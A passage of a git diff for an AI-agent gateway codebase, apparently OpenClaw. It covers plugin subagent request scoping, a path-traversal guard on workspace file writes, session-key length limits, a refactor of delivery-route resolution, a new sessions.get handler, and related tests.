"./control-plane-rate-limit.js"; import { ADMIN_SCOPE, authorizeOperatorScopesForMethod } from "./method-scopes.js"; @@ -138,12 +139,17 @@ export async function handleGatewayRequest( ); return; } - await handler({ - req, - params: (req.params ?? {}) as Record, - client, - isWebchatConnect, - respond, - context, - }); + const invokeHandler = () => + handler({ + req, + params: (req.params ?? {}) as Record, + client, + isWebchatConnect, + respond, + context, + }); + // All handlers run inside a request scope so that plugin runtime + // subagent methods (e.g. context engine tools spawning sub-agents + // during tool execution) can dispatch back into the gateway. + await withPluginRuntimeGatewayRequestScope({ context, isWebchatConnect }, invokeHandler); } diff --git a/src/gateway/server-methods/agents-mutate.test.ts b/src/gateway/server-methods/agents-mutate.test.ts index 66774715eb8..1cd88825b8a 100644 --- a/src/gateway/server-methods/agents-mutate.test.ts +++ b/src/gateway/server-methods/agents-mutate.test.ts @@ -31,6 +31,7 @@ const mocks = vi.hoisted(() => ({ fsLstat: vi.fn(async (..._args: unknown[]) => null as import("node:fs").Stats | null), fsRealpath: vi.fn(async (p: string) => p), fsOpen: vi.fn(async () => ({}) as unknown), + writeFileWithinRoot: vi.fn(async () => {}), })); vi.mock("../../config/config.js", () => ({ @@ -77,6 +78,15 @@ vi.mock("../session-utils.js", () => ({ listAgentsForGateway: mocks.listAgentsForGateway, })); +vi.mock("../../infra/fs-safe.js", async () => { + const actual = + await vi.importActual("../../infra/fs-safe.js"); + return { + ...actual, + writeFileWithinRoot: mocks.writeFileWithinRoot, + }; +}); + // Mock node:fs/promises – agents.ts uses `import fs from "node:fs/promises"` // which resolves to the module namespace default, so we spread actual and // override the methods we need, plus set `default` explicitly. diff --git a/src/gateway/server-methods/agents.ts b/src/gateway/server-methods/agents.ts index 88e362a36d4..b9de9b797aa 100644 --- a/src/gateway/server-methods/agents.ts +++ b/src/gateway/server-methods/agents.ts @@ -732,10 +732,19 @@ export const agentsHandlers: GatewayRequestHandlers = { return; } const content = String(params.content ?? ""); + const relativeWritePath = path.relative(resolvedPath.workspaceReal, resolvedPath.ioPath); + if ( + !relativeWritePath || + relativeWritePath.startsWith("..") || + path.isAbsolute(relativeWritePath) + ) { + respondWorkspaceFileUnsafe(respond, name); + return; + } try { await writeFileWithinRoot({ - rootDir: workspaceDir, - relativePath: name, + rootDir: resolvedPath.workspaceReal, + relativePath: relativeWritePath, data: content, encoding: "utf8", }); diff --git a/src/gateway/server-methods/chat.directive-tags.test.ts b/src/gateway/server-methods/chat.directive-tags.test.ts index d4f631a21ce..717c81337e8 100644 --- a/src/gateway/server-methods/chat.directive-tags.test.ts +++ b/src/gateway/server-methods/chat.directive-tags.test.ts @@ -5,6 +5,8 @@ import { CURRENT_SESSION_VERSION } from "@mariozechner/pi-coding-agent"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../../auto-reply/templating.js"; import { GATEWAY_CLIENT_CAPS, GATEWAY_CLIENT_MODES } from "../protocol/client-info.js"; +import { ErrorCodes } from "../protocol/index.js"; +import { CHAT_SEND_SESSION_KEY_MAX_LENGTH } from "../protocol/schema/primitives.js"; import type { GatewayRequestContext } from "./types.js"; const mockState = vi.hoisted(() => ({ @@ -325,6 +327,34 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect(extractFirstTextBlock(payload)).toBe(""); }); + it("rejects oversized chat.send session keys before dispatch", async () => { + createTranscriptFixture("openclaw-chat-send-session-key-too-long-"); + const respond = vi.fn(); + const context = createChatContext(); + + await chatHandlers["chat.send"]({ + params: { + sessionKey: `agent:main:${"x".repeat(CHAT_SEND_SESSION_KEY_MAX_LENGTH)}`, + message: "hello", + idempotencyKey: "idem-session-key-too-long", + }, + respond, + req: {} as never, + client: null as never, + isWebchatConnect: () => false, + context: context as GatewayRequestContext, + }); + + expect(respond).toHaveBeenCalledWith( + false, + undefined, + expect.objectContaining({ + code: ErrorCodes.INVALID_REQUEST, + }), + ); + expect(context.broadcast).not.toHaveBeenCalled(); + }); + it("chat.inject strips external untrusted wrapper metadata from final payload text", async () => { createTranscriptFixture("openclaw-chat-inject-untrusted-meta-"); const respond = vi.fn(); @@ -362,7 +392,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect(extractFirstTextBlock(payload)).toBe("hello"); }); - it("chat.send inherits originating routing metadata from session delivery context", async () => { + it("chat.send keeps explicit delivery routes for channel-scoped sessions", async () => { createTranscriptFixture("openclaw-chat-send-origin-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -400,7 +430,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => ); }); - it("chat.send inherits Feishu routing metadata from session delivery context", async () => { + it("chat.send keeps explicit delivery routes for Feishu channel-scoped sessions", async () => { createTranscriptFixture("openclaw-chat-send-feishu-origin-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -429,12 +459,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "feishu", OriginatingTo: "ou_feishu_direct_123", + ExplicitDeliverRoute: true, AccountId: "default", }), ); }); - it("chat.send inherits routing metadata for per-account channel-peer session keys", async () => { + it("chat.send keeps explicit delivery routes for per-account channel-peer sessions", async () => { createTranscriptFixture("openclaw-chat-send-per-account-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -463,12 +494,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "account-a", }), ); }); - it("chat.send inherits routing metadata for legacy channel-peer session keys", async () => { + it("chat.send keeps explicit delivery routes for legacy channel-peer sessions", async () => { createTranscriptFixture("openclaw-chat-send-legacy-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -497,12 +529,13 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "default", }), ); }); - it("chat.send inherits routing metadata for legacy channel-peer thread session keys", async () => { + it("chat.send keeps explicit delivery routes for legacy thread sessions", async () => { createTranscriptFixture("openclaw-chat-send-legacy-thread-channel-peer-routing-"); mockState.finalText = "ok"; mockState.sessionEntry = { @@ -533,6 +566,7 @@ describe("chat directive tag stripping for non-streaming final payloads", () => expect.objectContaining({ OriginatingChannel: "telegram", OriginatingTo: "telegram:6812765697", + ExplicitDeliverRoute: true, AccountId: "default", MessageThreadId: "42", }), @@ -657,6 +691,44 @@ describe("chat directive tag stripping for non-streaming final payloads", () => ); }); + it("chat.send keeps configured main delivery inheritance when connect metadata omits client details", async () => { + createTranscriptFixture("openclaw-chat-send-config-main-connect-no-client-"); + mockState.mainSessionKey = "work"; + mockState.finalText = "ok"; + mockState.sessionEntry = { + deliveryContext: { + channel: "whatsapp", + to: "whatsapp:+8613800138000", + accountId: "default", + }, + lastChannel: "whatsapp", + lastTo: "whatsapp:+8613800138000", + lastAccountId: "default", + }; + const respond = vi.fn(); + const context = createChatContext(); + + await runNonStreamingChatSend({ + context, + respond, + idempotencyKey: "idem-config-main-connect-no-client", + client: { + connect: {}, + } as unknown, + sessionKey: "agent:main:work", + deliver: true, + expectBroadcast: false, + }); + + expect(mockState.lastDispatchCtx).toEqual( + expect.objectContaining({ + OriginatingChannel: "whatsapp", + OriginatingTo: "whatsapp:+8613800138000", + AccountId: "default", + }), + ); + }); + it("chat.send does not inherit external delivery context for non-channel custom sessions", async () => { createTranscriptFixture("openclaw-chat-send-custom-no-cross-route-"); mockState.finalText = "ok"; diff --git a/src/gateway/server-methods/chat.ts b/src/gateway/server-methods/chat.ts index e384006ae38..497902b63ff 100644 --- a/src/gateway/server-methods/chat.ts +++ b/src/gateway/server-methods/chat.ts @@ -46,6 +46,7 @@ import { validateChatInjectParams, validateChatSendParams, } from "../protocol/index.js"; +import { CHAT_SEND_SESSION_KEY_MAX_LENGTH } from "../protocol/schema/primitives.js"; import { getMaxChatHistoryMessagesBytes } from "../server-constants.js"; import { capArrayByJsonBytes, @@ -95,6 +96,118 @@ const CHANNEL_AGNOSTIC_SESSION_SCOPES = new Set([ ]); const CHANNEL_SCOPED_SESSION_SHAPES = new Set(["direct", "dm", "group", "channel"]); +type ChatSendDeliveryEntry = { + deliveryContext?: { + channel?: string; + to?: string; + accountId?: string; + threadId?: string | number; + }; + lastChannel?: string; + lastTo?: string; + lastAccountId?: string; + lastThreadId?: string | number; +}; + +type ChatSendOriginatingRoute = { + originatingChannel: string; + originatingTo?: string; + accountId?: string; + messageThreadId?: string | number; + explicitDeliverRoute: boolean; +}; + +function resolveChatSendOriginatingRoute(params: { + client?: { mode?: string | null; id?: string | null } | null; + deliver?: boolean; + entry?: ChatSendDeliveryEntry; + hasConnectedClient?: boolean; + mainKey?: string; + sessionKey: string; +}): ChatSendOriginatingRoute { + const shouldDeliverExternally = params.deliver === true; + if (!shouldDeliverExternally) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + const routeChannelCandidate = normalizeMessageChannel( + params.entry?.deliveryContext?.channel ?? params.entry?.lastChannel, + ); + const routeToCandidate = params.entry?.deliveryContext?.to ?? params.entry?.lastTo; + const routeAccountIdCandidate = + params.entry?.deliveryContext?.accountId ?? params.entry?.lastAccountId ?? undefined; + const routeThreadIdCandidate = + params.entry?.deliveryContext?.threadId ?? params.entry?.lastThreadId; + if (params.sessionKey.length > CHAT_SEND_SESSION_KEY_MAX_LENGTH) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + const parsedSessionKey = parseAgentSessionKey(params.sessionKey); + const sessionScopeParts = (parsedSessionKey?.rest ?? params.sessionKey) + .split(":", 3) + .filter(Boolean); + const sessionScopeHead = sessionScopeParts[0]; + const sessionChannelHint = normalizeMessageChannel(sessionScopeHead); + const normalizedSessionScopeHead = (sessionScopeHead ?? "").trim().toLowerCase(); + const sessionPeerShapeCandidates = [sessionScopeParts[1], sessionScopeParts[2]] + .map((part) => (part ?? "").trim().toLowerCase()) + .filter(Boolean); + const isChannelAgnosticSessionScope = CHANNEL_AGNOSTIC_SESSION_SCOPES.has( + normalizedSessionScopeHead, + ); + const isChannelScopedSession = sessionPeerShapeCandidates.some((part) => + CHANNEL_SCOPED_SESSION_SHAPES.has(part), + ); + const hasLegacyChannelPeerShape = + !isChannelScopedSession && + typeof sessionScopeParts[1] === "string" && + sessionChannelHint === routeChannelCandidate; + const isFromWebchatClient = + isWebchatClient(params.client) || params.client?.mode === GATEWAY_CLIENT_MODES.UI; + const configuredMainKey = (params.mainKey ?? "main").trim().toLowerCase(); + const isConfiguredMainSessionScope = + normalizedSessionScopeHead.length > 0 && normalizedSessionScopeHead === configuredMainKey; + + // Keep explicit delivery for channel-scoped sessions, but refuse to inherit + // stale external routes for shared-main and other channel-agnostic webchat/UI + // turns where the session key does not encode the user's current target. + // Preserve the old configured-main contract: any connected non-webchat client + // may inherit the last external route even when client metadata is absent. + const canInheritDeliverableRoute = Boolean( + sessionChannelHint && + sessionChannelHint !== INTERNAL_MESSAGE_CHANNEL && + ((!isChannelAgnosticSessionScope && (isChannelScopedSession || hasLegacyChannelPeerShape)) || + (isConfiguredMainSessionScope && params.hasConnectedClient && !isFromWebchatClient)), + ); + const hasDeliverableRoute = + canInheritDeliverableRoute && + routeChannelCandidate && + routeChannelCandidate !== INTERNAL_MESSAGE_CHANNEL && + typeof routeToCandidate === "string" && + routeToCandidate.trim().length > 0; + + if (!hasDeliverableRoute) { + return { + originatingChannel: INTERNAL_MESSAGE_CHANNEL, + explicitDeliverRoute: false, + }; + } + + return { + originatingChannel: routeChannelCandidate, + originatingTo: routeToCandidate, + accountId: routeAccountIdCandidate, + messageThreadId: routeThreadIdCandidate, + explicitDeliverRoute: true, + }; +} + function stripDisallowedChatControlChars(message: string): string { let output = ""; for (const char of message) { @@ -864,62 +977,20 @@ export const chatHandlers: GatewayRequestHandlers = { ); const commandBody = injectThinking ? `/think ${p.thinking} ${parsedMessage}` : parsedMessage; const clientInfo = client?.connect?.client; - const shouldDeliverExternally = p.deliver === true; - const routeChannelCandidate = normalizeMessageChannel( - entry?.deliveryContext?.channel ?? entry?.lastChannel, - ); - const routeToCandidate = entry?.deliveryContext?.to ?? entry?.lastTo; - const routeAccountIdCandidate = - entry?.deliveryContext?.accountId ?? entry?.lastAccountId ?? undefined; - const routeThreadIdCandidate = entry?.deliveryContext?.threadId ?? entry?.lastThreadId; - const parsedSessionKey = parseAgentSessionKey(sessionKey); - const sessionScopeParts = (parsedSessionKey?.rest ?? sessionKey).split(":").filter(Boolean); - const sessionScopeHead = sessionScopeParts[0]; - const sessionChannelHint = normalizeMessageChannel(sessionScopeHead); - const normalizedSessionScopeHead = (sessionScopeHead ?? "").trim().toLowerCase(); - const sessionPeerShapeCandidates = [sessionScopeParts[1], sessionScopeParts[2]] - .map((part) => (part ?? "").trim().toLowerCase()) - .filter(Boolean); - const isChannelAgnosticSessionScope = CHANNEL_AGNOSTIC_SESSION_SCOPES.has( - normalizedSessionScopeHead, - ); - const isChannelScopedSession = sessionPeerShapeCandidates.some((part) => - CHANNEL_SCOPED_SESSION_SHAPES.has(part), - ); - const hasLegacyChannelPeerShape = - !isChannelScopedSession && - typeof sessionScopeParts[1] === "string" && - sessionChannelHint === routeChannelCandidate; - const clientMode = client?.connect?.client?.mode; - const isFromWebchatClient = - isWebchatClient(client?.connect?.client) || clientMode === GATEWAY_CLIENT_MODES.UI; - const configuredMainKey = (cfg.session?.mainKey ?? "main").trim().toLowerCase(); - const isConfiguredMainSessionScope = - normalizedSessionScopeHead.length > 0 && normalizedSessionScopeHead === configuredMainKey; - // Channel-agnostic session scopes (main, direct:, etc.) can leak - // stale routes across surfaces. Allow configured main sessions from - // non-Webchat/UI clients (e.g., CLI, backend) to keep the last external route. - const canInheritDeliverableRoute = Boolean( - sessionChannelHint && - sessionChannelHint !== INTERNAL_MESSAGE_CHANNEL && - ((!isChannelAgnosticSessionScope && - (isChannelScopedSession || hasLegacyChannelPeerShape)) || - (isConfiguredMainSessionScope && client?.connect !== undefined && !isFromWebchatClient)), - ); - const hasDeliverableRoute = Boolean( - shouldDeliverExternally && - canInheritDeliverableRoute && - routeChannelCandidate && - routeChannelCandidate !== INTERNAL_MESSAGE_CHANNEL && - typeof routeToCandidate === "string" && - routeToCandidate.trim().length > 0, - ); - const originatingChannel = hasDeliverableRoute - ? routeChannelCandidate - : INTERNAL_MESSAGE_CHANNEL; - const originatingTo = hasDeliverableRoute ? routeToCandidate : undefined; - const accountId = hasDeliverableRoute ? routeAccountIdCandidate : undefined; - const messageThreadId = hasDeliverableRoute ? routeThreadIdCandidate : undefined; + const { + originatingChannel, + originatingTo, + accountId, + messageThreadId, + explicitDeliverRoute, + } = resolveChatSendOriginatingRoute({ + client: clientInfo, + deliver: p.deliver, + entry, + hasConnectedClient: client?.connect !== undefined, + mainKey: cfg.session?.mainKey, + sessionKey, + }); // Inject timestamp so agents know the current date/time. // Only BodyForAgent gets the timestamp — Body stays raw for UI display. // See: https://github.com/moltbot/moltbot/issues/3658 @@ -936,7 +1007,7 @@ export const chatHandlers: GatewayRequestHandlers = { Surface: INTERNAL_MESSAGE_CHANNEL, OriginatingChannel: originatingChannel, OriginatingTo: originatingTo, - ExplicitDeliverRoute: hasDeliverableRoute, + ExplicitDeliverRoute: explicitDeliverRoute, AccountId: accountId, MessageThreadId: messageThreadId, ChatType: "direct", diff --git a/src/gateway/server-methods/nodes.invoke-wake.test.ts b/src/gateway/server-methods/nodes.invoke-wake.test.ts index 39392db70b5..6e3ced97d6f 100644 --- a/src/gateway/server-methods/nodes.invoke-wake.test.ts +++ b/src/gateway/server-methods/nodes.invoke-wake.test.ts @@ -115,7 +115,7 @@ function mockSuccessfulWakeConfig(nodeId: string) { value: { teamId: "TEAM123", keyId: "KEY123", - privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", + privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", // pragma: allowlist secret }, }); mocks.sendApnsBackgroundWake.mockResolvedValue({ diff --git a/src/gateway/server-methods/nodes.ts b/src/gateway/server-methods/nodes.ts index 37433e10dfc..848fa0dfea5 100644 --- a/src/gateway/server-methods/nodes.ts +++ b/src/gateway/server-methods/nodes.ts @@ -274,20 +274,7 @@ export const nodeHandlers: GatewayRequestHandlers = { }); return; } - const p = params as { - nodeId: string; - displayName?: string; - platform?: string; - version?: string; - coreVersion?: string; - uiVersion?: string; - deviceFamily?: string; - modelIdentifier?: string; - caps?: string[]; - commands?: string[]; - remoteIp?: string; - silent?: boolean; - }; + const p = params as Parameters[0]; await respondUnavailableOnThrow(respond, async () => { const result = await requestNodePairing({ nodeId: p.nodeId, @@ -300,6 +287,7 @@ export const nodeHandlers: GatewayRequestHandlers = { modelIdentifier: p.modelIdentifier, caps: p.caps, commands: p.commands, + permissions: p.permissions, remoteIp: p.remoteIp, silent: p.silent, }); diff --git a/src/gateway/server-methods/push.test.ts b/src/gateway/server-methods/push.test.ts index e49fc68eefa..7c98cd9133b 100644 --- a/src/gateway/server-methods/push.test.ts +++ b/src/gateway/server-methods/push.test.ts @@ -78,7 +78,7 @@ describe("push.test handler", () => { value: { teamId: "TEAM123", keyId: "KEY123", - privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", + privateKey: "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY-----", // pragma: allowlist secret }, }); vi.mocked(normalizeApnsEnvironment).mockReturnValue(null); diff --git a/src/gateway/server-methods/secrets.test.ts b/src/gateway/server-methods/secrets.test.ts index 0b041d948bd..c0afd2520dc 100644 --- a/src/gateway/server-methods/secrets.test.ts +++ b/src/gateway/server-methods/secrets.test.ts @@ -17,6 +17,27 @@ async function invokeSecretsReload(params: { }); } +async function invokeSecretsResolve(params: { + handlers: ReturnType; + respond: ReturnType; + commandName: unknown; + targetIds: unknown; +}) { + await params.handlers["secrets.resolve"]({ + req: { type: "req", id: "1", method: "secrets.resolve" }, + params: { + commandName: params.commandName, + targetIds: params.targetIds, + }, + client: null, + isWebchatConnect: () => false, + respond: params.respond as unknown as Parameters< + ReturnType["secrets.resolve"] + >[0]["respond"], + context: {} as never, + }); +} + describe("secrets handlers", () => { function createHandlers(overrides?: { reloadSecrets?: () => Promise<{ warningCount: number }>; @@ -73,13 +94,11 @@ describe("secrets handlers", () => { }); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey"], }); expect(resolveSecrets).toHaveBeenCalledWith({ commandName: "memory status", @@ -96,13 +115,11 @@ describe("secrets handlers", () => { it("rejects invalid secrets.resolve params", async () => { const handlers = createHandlers(); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "", targetIds: "bad" }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "", + targetIds: "bad", }); expect(respond).toHaveBeenCalledWith( false, @@ -117,13 +134,11 @@ describe("secrets handlers", () => { const resolveSecrets = vi.fn(); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey", 12] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey", 12], }); expect(resolveSecrets).not.toHaveBeenCalled(); expect(respond).toHaveBeenCalledWith( @@ -140,13 +155,11 @@ describe("secrets handlers", () => { const resolveSecrets = vi.fn(); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["unknown.target"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["unknown.target"], }); expect(resolveSecrets).not.toHaveBeenCalled(); expect(respond).toHaveBeenCalledWith( @@ -167,13 +180,11 @@ describe("secrets handlers", () => { }); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey"], }); expect(respond).toHaveBeenCalledWith( false, diff --git a/src/gateway/server-methods/sessions.ts b/src/gateway/server-methods/sessions.ts index 523e6655d71..8200031ae7c 100644 --- a/src/gateway/server-methods/sessions.ts +++ b/src/gateway/server-methods/sessions.ts @@ -50,6 +50,7 @@ import { type SessionsPatchResult, type SessionsPreviewEntry, type SessionsPreviewResult, + readSessionMessages, } from "../session-utils.js"; import { applySessionsPatchToStore } from "../sessions-patch.js"; import { resolveSessionKeyFromResolveParams } from "../sessions-resolve.js"; @@ -625,6 +626,28 @@ export const sessionsHandlers: GatewayRequestHandlers = { respond(true, { ok: true, key: target.canonicalKey, deleted, archived }, undefined); }, + "sessions.get": ({ params, respond }) => { + const p = params; + const key = requireSessionKey(p.key ?? p.sessionKey, respond); + if (!key) { + return; + } + const limit = + typeof p.limit === "number" && Number.isFinite(p.limit) + ? Math.max(1, Math.floor(p.limit)) + : 200; + + const { target, storePath } = resolveGatewaySessionTargetFromKey(key); + const store = loadSessionStore(storePath); + const entry = target.storeKeys.map((k) => store[k]).find(Boolean); + if (!entry?.sessionId) { + respond(true, { messages: [] }, undefined); + return; + } + const allMessages = readSessionMessages(entry.sessionId, storePath, entry.sessionFile); + const messages = limit < allMessages.length ? allMessages.slice(-limit) : allMessages; + respond(true, { messages }, undefined); + }, "sessions.compact": async ({ params, respond }) => { if (!assertValidParams(params, validateSessionsCompactParams, "sessions.compact", respond)) { return; diff --git a/src/gateway/server-plugins.test.ts b/src/gateway/server-plugins.test.ts index 4f2a4c84059..38f13cf6ac3 100644 --- a/src/gateway/server-plugins.test.ts +++ b/src/gateway/server-plugins.test.ts @@ -1,14 +1,25 @@ -import { describe, expect, test, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; import type { PluginRegistry } from "../plugins/registry.js"; +import type { PluginRuntime } from "../plugins/runtime/types.js"; import type { PluginDiagnostic } from "../plugins/types.js"; -import { loadGatewayPlugins } from "./server-plugins.js"; +import type { GatewayRequestContext, GatewayRequestOptions } from "./server-methods/types.js"; const loadOpenClawPlugins = vi.hoisted(() => vi.fn()); +type HandleGatewayRequestOptions = GatewayRequestOptions & { + extraHandlers?: Record; +}; +const handleGatewayRequest = vi.hoisted(() => + vi.fn(async (_opts: HandleGatewayRequestOptions) => {}), +); vi.mock("../plugins/loader.js", () => ({ loadOpenClawPlugins, })); +vi.mock("./server-methods.js", () => ({ + handleGatewayRequest, +})); + const createRegistry = (diagnostics: PluginDiagnostic[]): PluginRegistry => ({ plugins: [], tools: [], @@ -24,8 +35,75 @@ const createRegistry = (diagnostics: PluginDiagnostic[]): PluginRegistry => ({ diagnostics, }); +type ServerPluginsModule = typeof import("./server-plugins.js"); + +function createTestContext(label: string): GatewayRequestContext { + return { label } as unknown as GatewayRequestContext; +} + +function getLastDispatchedContext(): GatewayRequestContext | undefined { + const call = handleGatewayRequest.mock.calls.at(-1)?.[0]; + return call?.context; +} + +async function importServerPluginsModule(): Promise { + return import("./server-plugins.js"); +} + +function createSubagentRuntime(serverPlugins: ServerPluginsModule): PluginRuntime["subagent"] { + const log = { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + }; + loadOpenClawPlugins.mockReturnValue(createRegistry([])); + serverPlugins.loadGatewayPlugins({ + cfg: {}, + workspaceDir: "/tmp", + log, + coreGatewayHandlers: {}, + baseMethods: [], + }); + const call = loadOpenClawPlugins.mock.calls.at(-1)?.[0] as + | { runtimeOptions?: { subagent?: PluginRuntime["subagent"] } } + | undefined; + if (!call?.runtimeOptions?.subagent) { + throw new Error("Expected loadGatewayPlugins to provide subagent runtime"); + } + return call.runtimeOptions.subagent; +} + +beforeEach(() => { + loadOpenClawPlugins.mockReset(); + handleGatewayRequest.mockReset(); + handleGatewayRequest.mockImplementation(async (opts: HandleGatewayRequestOptions) => { + switch (opts.req.method) { + case "agent": + opts.respond(true, { runId: "run-1" }); + return; + case "agent.wait": + opts.respond(true, { status: "ok" }); + return; + case "sessions.get": + opts.respond(true, { messages: [] }); + return; + case "sessions.delete": + opts.respond(true, {}); + return; + default: + opts.respond(true, {}); + } + }); +}); + +afterEach(() => { + vi.resetModules(); +}); + describe("loadGatewayPlugins", () => { - test("logs plugin errors with details", () => { + test("logs plugin errors with details", async () => { + const { loadGatewayPlugins } = await importServerPluginsModule(); const diagnostics: PluginDiagnostic[] = [ { level: "error", @@ -56,4 +134,79 @@ describe("loadGatewayPlugins", () => { ); expect(log.warn).not.toHaveBeenCalled(); }); + + test("provides subagent runtime with sessions.get method aliases", async () => { + const { loadGatewayPlugins } = await importServerPluginsModule(); + loadOpenClawPlugins.mockReturnValue(createRegistry([])); + + const log = { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + }; + + loadGatewayPlugins({ + cfg: {}, + workspaceDir: "/tmp", + log, + coreGatewayHandlers: {}, + baseMethods: [], + }); + + const call = loadOpenClawPlugins.mock.calls.at(-1)?.[0]; + const subagent = call?.runtimeOptions?.subagent; + expect(typeof subagent?.getSessionMessages).toBe("function"); + expect(typeof subagent?.getSession).toBe("function"); + }); + + test("shares fallback context across module reloads for existing runtimes", async () => { + const first = await importServerPluginsModule(); + const runtime = createSubagentRuntime(first); + + const staleContext = createTestContext("stale"); + first.setFallbackGatewayContext(staleContext); + await runtime.run({ sessionKey: "s-1", message: "hello" }); + expect(getLastDispatchedContext()).toBe(staleContext); + + vi.resetModules(); + const reloaded = await importServerPluginsModule(); + const freshContext = createTestContext("fresh"); + reloaded.setFallbackGatewayContext(freshContext); + + await runtime.run({ sessionKey: "s-1", message: "hello again" }); + expect(getLastDispatchedContext()).toBe(freshContext); + }); + + test("uses updated fallback context after context replacement", async () => { + const serverPlugins = await importServerPluginsModule(); + const runtime = createSubagentRuntime(serverPlugins); + const firstContext = createTestContext("before-restart"); + const secondContext = createTestContext("after-restart"); + + serverPlugins.setFallbackGatewayContext(firstContext); + await runtime.run({ sessionKey: "s-2", message: "before restart" }); + expect(getLastDispatchedContext()).toBe(firstContext); + + serverPlugins.setFallbackGatewayContext(secondContext); + await runtime.run({ sessionKey: "s-2", message: "after restart" }); + expect(getLastDispatchedContext()).toBe(secondContext); + }); + + test("reflects fallback context object mutation at dispatch time", async () => { + const serverPlugins = await importServerPluginsModule(); + const runtime = createSubagentRuntime(serverPlugins); + const context = { marker: "before-mutation" } as GatewayRequestContext & { + marker: string; + }; + + serverPlugins.setFallbackGatewayContext(context); + context.marker = "after-mutation"; + + await runtime.run({ sessionKey: "s-3", message: "mutated context" }); + const dispatched = getLastDispatchedContext() as + | (GatewayRequestContext & { marker: string }) + | undefined; + expect(dispatched?.marker).toBe("after-mutation"); + }); }); diff --git a/src/gateway/server-plugins.ts b/src/gateway/server-plugins.ts index e879310c304..dde23f703a6 100644 --- a/src/gateway/server-plugins.ts +++ b/src/gateway/server-plugins.ts @@ -1,6 +1,165 @@ +import { randomUUID } from "node:crypto"; import type { loadConfig } from "../config/config.js"; import { loadOpenClawPlugins } from "../plugins/loader.js"; -import type { GatewayRequestHandler } from "./server-methods/types.js"; +import { getPluginRuntimeGatewayRequestScope } from "../plugins/runtime/gateway-request-scope.js"; +import type { PluginRuntime } from "../plugins/runtime/types.js"; +import { GATEWAY_CLIENT_IDS, GATEWAY_CLIENT_MODES } from "./protocol/client-info.js"; +import type { ErrorShape } from "./protocol/index.js"; +import { PROTOCOL_VERSION } from "./protocol/index.js"; +import { handleGatewayRequest } from "./server-methods.js"; +import type { + GatewayRequestContext, + GatewayRequestHandler, + GatewayRequestOptions, +} from "./server-methods/types.js"; + +// ── Fallback gateway context for non-WS paths (Telegram, WhatsApp, etc.) ── +// The WS path sets a per-request scope via AsyncLocalStorage, but channel +// adapters (Telegram polling, etc.) invoke the agent directly without going +// through handleGatewayRequest. We store the gateway context at startup so +// dispatchGatewayMethod can use it as a fallback. + +const FALLBACK_GATEWAY_CONTEXT_STATE_KEY: unique symbol = Symbol.for( + "openclaw.fallbackGatewayContextState", +); + +type FallbackGatewayContextState = { + context: GatewayRequestContext | undefined; +}; + +const fallbackGatewayContextState = (() => { + const globalState = globalThis as typeof globalThis & { + [FALLBACK_GATEWAY_CONTEXT_STATE_KEY]?: FallbackGatewayContextState; + }; + const existing = globalState[FALLBACK_GATEWAY_CONTEXT_STATE_KEY]; + if (existing) { + return existing; + } + const created: FallbackGatewayContextState = { context: undefined }; + globalState[FALLBACK_GATEWAY_CONTEXT_STATE_KEY] = created; + return created; +})(); + +export function setFallbackGatewayContext(ctx: GatewayRequestContext): void { + // TODO: This startup snapshot can become stale if runtime config/context changes. + fallbackGatewayContextState.context = ctx; +} + +// ── Internal gateway dispatch for plugin runtime ──────────────────── + +function createSyntheticOperatorClient(): GatewayRequestOptions["client"] { + return { + connect: { + minProtocol: 